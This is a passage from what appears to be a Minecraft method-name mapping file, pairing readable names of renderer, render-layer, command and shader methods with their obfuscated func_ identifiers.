net/minecraft/client/renderer/entity/RenderWolf/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderWolf/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWolf/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderWolf/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWolf/getEntityTexture (Lnet/minecraft/entity/passive/EntityWolf;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderWolf/func_110775_a (Lnet/minecraft/entity/passive/EntityWolf;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderWolf/doRender (Lnet/minecraft/entity/passive/EntityWolf;DDDFF)V net/minecraft/client/renderer/entity/RenderWolf/func_76986_a (Lnet/minecraft/entity/passive/EntityWolf;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderWolf/handleRotationFloat (Lnet/minecraft/entity/passive/EntityWolf;F)F net/minecraft/client/renderer/entity/RenderWolf/func_77044_a (Lnet/minecraft/entity/passive/EntityWolf;F)F +MD: net/minecraft/client/renderer/entity/RenderWolf/handleRotationFloat (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/entity/RenderWolf/func_77044_a (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/entity/RenderZombie$1/initArmor ()V net/minecraft/client/renderer/entity/RenderZombie$1/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/RenderZombie/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderZombie/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderZombie/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderZombie/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderZombie/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderZombie/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/getEntityTexture (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderZombie/func_110775_a (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderZombie/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderZombie/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/getEntityTexture (Lnet/minecraft/entity/monster/EntityZombie;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderZombie/func_110775_a (Lnet/minecraft/entity/monster/EntityZombie;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderZombie/doRender (Lnet/minecraft/entity/monster/EntityZombie;DDDFF)V net/minecraft/client/renderer/entity/RenderZombie/func_76986_a (Lnet/minecraft/entity/monster/EntityZombie;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/rotateCorpse (Lnet/minecraft/entity/monster/EntityZombie;FFF)V net/minecraft/client/renderer/entity/RenderZombie/func_77043_a (Lnet/minecraft/entity/monster/EntityZombie;FFF)V +MD: net/minecraft/client/renderer/entity/RenderZombie/func_82427_a (Lnet/minecraft/entity/monster/EntityZombie;)V net/minecraft/client/renderer/entity/RenderZombie/func_82427_a (Lnet/minecraft/entity/monster/EntityZombie;)V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/initArmor ()V net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/getArmorModel (I)Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177175_a (I)Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/setModelPartVisible (Lnet/minecraft/client/model/ModelBase;I)V net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177179_a (Lnet/minecraft/client/model/ModelBase;I)V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/renderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFFI)V net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177182_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFFI)V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/getCurrentArmor (Lnet/minecraft/entity/EntityLivingBase;I)Lnet/minecraft/item/ItemStack; net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177176_a (Lnet/minecraft/entity/EntityLivingBase;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/renderGlint (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/client/model/ModelBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177183_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/client/model/ModelBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/getArmorResource (Lnet/minecraft/item/ItemArmor;Z)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177181_a (Lnet/minecraft/item/ItemArmor;Z)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/getArmorResource (Lnet/minecraft/item/ItemArmor;ZLjava/lang/String;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177178_a (Lnet/minecraft/item/ItemArmor;ZLjava/lang/String;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerArmorBase/isSlotForLeggings (I)Z net/minecraft/client/renderer/entity/layers/LayerArmorBase/func_177180_b (I)Z +MD: net/minecraft/client/renderer/entity/layers/LayerArrow/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerArrow/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerArrow/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerArrow/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerCape/doRenderLayer (Lnet/minecraft/client/entity/AbstractClientPlayer;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerCape/func_177141_a (Lnet/minecraft/client/entity/AbstractClientPlayer;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerCape/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerCape/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerCape/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerCape/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerHeldBlock/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerHeldBlock/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldBlock/doRenderLayer (Lnet/minecraft/entity/monster/EntityEnderman;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerHeldBlock/func_177141_a (Lnet/minecraft/entity/monster/EntityEnderman;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldBlock/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerHeldBlock/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/doRenderLayer (Lnet/minecraft/entity/monster/EntityCreeper;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/func_177141_a (Lnet/minecraft/entity/monster/EntityCreeper;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerCreeperCharge/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerCustomHead/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerCustomHead/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerCustomHead/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerCustomHead/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/doRenderLayer (Lnet/minecraft/client/entity/AbstractClientPlayer;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/func_177141_a (Lnet/minecraft/client/entity/AbstractClientPlayer;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerDeadmau5Head/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/doRenderLayer (Lnet/minecraft/entity/boss/EntityDragon;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/func_177141_a (Lnet/minecraft/entity/boss/EntityDragon;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerEnderDragonDeath/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/doRenderLayer (Lnet/minecraft/entity/boss/EntityDragon;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/func_177141_a (Lnet/minecraft/entity/boss/EntityDragon;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerEnderDragonEyes/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/doRenderLayer (Lnet/minecraft/entity/monster/EntityEnderman;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/func_177141_a (Lnet/minecraft/entity/monster/EntityEnderman;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerEndermanEyes/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerBipedArmor/initArmor ()V net/minecraft/client/renderer/entity/layers/LayerBipedArmor/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/layers/LayerBipedArmor/setModelVisible (Lnet/minecraft/client/model/ModelBiped;)V net/minecraft/client/renderer/entity/layers/LayerBipedArmor/func_177194_a (Lnet/minecraft/client/model/ModelBiped;)V +MD: net/minecraft/client/renderer/entity/layers/LayerBipedArmor/setModelPartVisible (Lnet/minecraft/client/model/ModelBiped;I)V net/minecraft/client/renderer/entity/layers/LayerBipedArmor/func_177179_a (Lnet/minecraft/client/model/ModelBiped;I)V +MD: net/minecraft/client/renderer/entity/layers/LayerBipedArmor/setModelPartVisible (Lnet/minecraft/client/model/ModelBase;I)V net/minecraft/client/renderer/entity/layers/LayerBipedArmor/func_177179_a (Lnet/minecraft/client/model/ModelBase;I)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldItem/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerHeldItem/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldItem/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerHeldItem/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/doRenderLayer (Lnet/minecraft/entity/passive/EntityMooshroom;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/func_177141_a (Lnet/minecraft/entity/passive/EntityMooshroom;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerMooshroomMushroom/func_177142_b ()Z +MD: net/minecraft/command/server/CommandStop/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandStop/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandStop/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandStop/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandStop/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandStop/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/layers/LayerSaddle/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSaddle/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSaddle/doRenderLayer (Lnet/minecraft/entity/passive/EntityPig;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSaddle/func_177141_a (Lnet/minecraft/entity/passive/EntityPig;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSaddle/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerSaddle/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerRenderer/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerRenderer/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerRenderer/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerRenderer/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSheepWool/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/doRenderLayer (Lnet/minecraft/entity/passive/EntitySheep;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSheepWool/func_177141_a (Lnet/minecraft/entity/passive/EntitySheep;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSheepWool/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerSheepWool/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerSlimeGel/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSlimeGel/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSlimeGel/doRenderLayer (Lnet/minecraft/entity/monster/EntitySlime;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSlimeGel/func_177141_a (Lnet/minecraft/entity/monster/EntitySlime;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSlimeGel/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerSlimeGel/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/doRenderLayer (Lnet/minecraft/entity/monster/EntitySnowman;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/func_177141_a (Lnet/minecraft/entity/monster/EntitySnowman;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerSnowmanHead/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/doRenderLayer (Lnet/minecraft/entity/monster/EntitySpider;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/func_177141_a (Lnet/minecraft/entity/monster/EntitySpider;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerSpiderEyes/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerVillagerArmor/initArmor ()V net/minecraft/client/renderer/entity/layers/LayerVillagerArmor/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/doRenderLayer (Lnet/minecraft/entity/monster/EntityIronGolem;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/func_177141_a (Lnet/minecraft/entity/monster/EntityIronGolem;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerIronGolemFlower/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/doRenderLayer (Lnet/minecraft/entity/monster/EntityWitch;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/func_177141_a (Lnet/minecraft/entity/monster/EntityWitch;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerHeldItemWitch/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerWitherAura/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/doRenderLayer (Lnet/minecraft/entity/boss/EntityWither;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerWitherAura/func_177141_a (Lnet/minecraft/entity/boss/EntityWither;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerWitherAura/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerWitherAura/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/layers/LayerWolfCollar/doRenderLayer (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerWolfCollar/func_177141_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerWolfCollar/doRenderLayer (Lnet/minecraft/entity/passive/EntityWolf;FFFFFFF)V net/minecraft/client/renderer/entity/layers/LayerWolfCollar/func_177141_a (Lnet/minecraft/entity/passive/EntityWolf;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/layers/LayerWolfCollar/shouldCombineTextures ()Z net/minecraft/client/renderer/entity/layers/LayerWolfCollar/func_177142_b ()Z +MD: net/minecraft/client/renderer/entity/RenderPlayer/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RenderPlayer/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RenderPlayer/getEntityTexture (Lnet/minecraft/client/entity/AbstractClientPlayer;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPlayer/func_110775_a (Lnet/minecraft/client/entity/AbstractClientPlayer;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderLivingAt (Lnet/minecraft/client/entity/AbstractClientPlayer;DDD)V net/minecraft/client/renderer/entity/RenderPlayer/func_77039_a (Lnet/minecraft/client/entity/AbstractClientPlayer;DDD)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/doRender (Lnet/minecraft/client/entity/AbstractClientPlayer;DDDFF)V net/minecraft/client/renderer/entity/RenderPlayer/func_76986_a (Lnet/minecraft/client/entity/AbstractClientPlayer;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderOffsetLivingLabel (Lnet/minecraft/client/entity/AbstractClientPlayer;DDDLjava/lang/String;FD)V net/minecraft/client/renderer/entity/RenderPlayer/func_177069_a (Lnet/minecraft/client/entity/AbstractClientPlayer;DDDLjava/lang/String;FD)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/preRenderCallback (Lnet/minecraft/client/entity/AbstractClientPlayer;F)V net/minecraft/client/renderer/entity/RenderPlayer/func_77041_b (Lnet/minecraft/client/entity/AbstractClientPlayer;F)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/rotateCorpse (Lnet/minecraft/client/entity/AbstractClientPlayer;FFF)V net/minecraft/client/renderer/entity/RenderPlayer/func_77043_a (Lnet/minecraft/client/entity/AbstractClientPlayer;FFF)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderPlayer/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderPlayer/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderPlayer/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderOffsetLivingLabel (Lnet/minecraft/entity/Entity;DDDLjava/lang/String;FD)V net/minecraft/client/renderer/entity/RenderPlayer/func_177069_a (Lnet/minecraft/entity/Entity;DDDLjava/lang/String;FD)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderLivingAt (Lnet/minecraft/entity/EntityLivingBase;DDD)V net/minecraft/client/renderer/entity/RenderPlayer/func_77039_a (Lnet/minecraft/entity/EntityLivingBase;DDD)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderPlayer/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderPlayer/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderPlayer/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/getMainModel ()Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/RenderPlayer/func_177087_b ()Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderRightArm (Lnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/entity/RenderPlayer/func_177138_b (Lnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/renderLeftArm (Lnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/entity/RenderPlayer/func_177139_c (Lnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/setModelVisibilities (Lnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/entity/RenderPlayer/func_177137_d (Lnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/entity/RenderPlayer/getMainModel ()Lnet/minecraft/client/model/ModelPlayer; net/minecraft/client/renderer/entity/RenderPlayer/func_177087_b ()Lnet/minecraft/client/model/ModelPlayer; +MD: net/minecraft/client/util/JsonBlendingMode/func_148109_a ()V net/minecraft/client/util/JsonBlendingMode/func_148109_a ()V +MD: net/minecraft/client/util/JsonBlendingMode/func_148110_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/util/JsonBlendingMode; net/minecraft/client/util/JsonBlendingMode/func_148110_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/util/JsonBlendingMode; +MD: net/minecraft/client/util/JsonBlendingMode/func_148108_a (Ljava/lang/String;)I net/minecraft/client/util/JsonBlendingMode/func_148108_a (Ljava/lang/String;)I +MD: net/minecraft/client/util/JsonBlendingMode/func_148111_b ()Z net/minecraft/client/util/JsonBlendingMode/func_148111_b ()Z +MD: net/minecraft/client/util/JsonBlendingMode/func_148107_b (Ljava/lang/String;)I net/minecraft/client/util/JsonBlendingMode/func_148107_b (Ljava/lang/String;)I +MD: net/minecraft/client/util/JsonBlendingMode/equals (Ljava/lang/Object;)Z net/minecraft/client/util/JsonBlendingMode/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/util/JsonBlendingMode/hashCode ()I net/minecraft/client/util/JsonBlendingMode/hashCode ()I +MD: net/minecraft/client/shader/ShaderDefault/set (F)V net/minecraft/client/shader/ShaderDefault/func_148090_a (F)V +MD: net/minecraft/client/shader/ShaderDefault/set (FF)V net/minecraft/client/shader/ShaderDefault/func_148087_a (FF)V +MD: net/minecraft/client/shader/ShaderDefault/set (FFF)V net/minecraft/client/shader/ShaderDefault/func_148095_a (FFF)V +MD: net/minecraft/client/shader/ShaderDefault/set (FFFF)V net/minecraft/client/shader/ShaderDefault/func_148081_a (FFFF)V +MD: net/minecraft/client/shader/ShaderDefault/set (FFFFFFFFFFFFFFFF)V net/minecraft/client/shader/ShaderDefault/func_148094_a (FFFFFFFFFFFFFFFF)V +MD: net/minecraft/client/shader/ShaderDefault/set (IIII)V net/minecraft/client/shader/ShaderDefault/func_148083_a (IIII)V +MD: net/minecraft/client/shader/ShaderDefault/set (Lorg/lwjgl/util/vector/Matrix4f;)V net/minecraft/client/shader/ShaderDefault/func_148088_a (Lorg/lwjgl/util/vector/Matrix4f;)V +MD: net/minecraft/client/shader/ShaderDefault/set ([F)V net/minecraft/client/shader/ShaderDefault/func_148097_a ([F)V 